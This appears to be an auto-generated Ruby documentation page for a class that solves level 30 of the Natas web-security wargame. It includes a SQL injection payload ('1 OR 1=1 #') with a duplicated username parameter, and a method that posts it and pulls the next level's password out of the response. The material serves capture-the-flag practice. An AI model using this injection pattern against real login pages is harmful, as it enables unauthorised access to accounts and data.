Class: NatasLevel30

Inherits:
NatasLevelBase show all
Defined in:
lib/natas.rb

Overview

Level 30

Constant Summary collapse

LEVEL =
30
PAGE =
'/'
PAYLOAD =
[
  ['username', '1 OR 1=1 #'],
  ['username', 2],
  ['password', 'x']
].freeze

Constants inherited from NatasLevelBase

NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS

Instance Attribute Summary

Attributes inherited from NatasLevelBase

#login, #password

Instance Method Summary collapse

Methods inherited from NatasLevelBase

#get, #initialize, #level, #post

Constructor Details

This class inherits a constructor from NatasLevelBase

Instance Method Details

#execObject



868
869
870
871
872
873
874
875
876
877
# File 'lib/natas.rb', line 868

def exec
  data = post(
    PAGE,
    {},
    PAYLOAD
  ).body
  match = /<br>natas31(\w{32})<div/.match(data)
  not_found unless match
  found(match[1])
end